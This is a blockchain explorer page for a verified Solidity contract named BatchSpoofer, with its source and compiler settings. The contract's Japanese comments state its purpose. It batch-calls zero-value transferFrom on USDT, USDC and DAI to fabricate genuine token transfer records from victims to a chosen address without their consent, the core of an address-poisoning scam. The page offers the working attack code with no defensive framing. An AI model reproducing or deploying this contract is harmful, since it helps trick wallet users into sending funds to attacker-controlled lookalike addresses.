Skip to content
Verified contractExactMIT

BatchSpoofer

Address0xf5168e2d72a6d69d65bc2d8da4bb110a979c3dde
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
EVM version
cancun
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,414,658
Creation transaction
0x973c94050b…f3f96d6ee4

contracts/src/BatchSpoofer.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20Like {
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/// @title BatchSpoofer
/// @notice 実トークン(USDT/USDC/DAI)の transferFrom(from, to, 0) をまとめて呼ぶヘルパ。
/// これらは「value=0 なら allowance 0 でも通る」実装なので、被害者に何も要求せず
/// 「被害者 → L へ 0送金」の本物トークン行を1txで大量に作れる。
/// msg.sender は本コントラクトになるが、行の from はイベントの from(=被害者) になる。
contract BatchSpoofer {
    struct Item {
        address token;
        address from;
        address to;
        uint256 amount; // 0 でゼロ値行
    }

    function run(Item[] calldata items) external {
        for (uint256 i; i < items.length; ++i) {
            IERC20Like(items[i].token).transferFrom(
                items[i].from,
                items[i].to,
                items[i].amount
            );
        }
    }
}
Compiler settingsShow
{
  "viaIR": false,
  "metadata": {
    "appendCBOR": true,
    "bytecodeHash": "ipfs",
    "useLiteralContent": false
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "cancun",
  "remappings": [
    "forge-std/=lib/forge-std/src/"
  ]
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.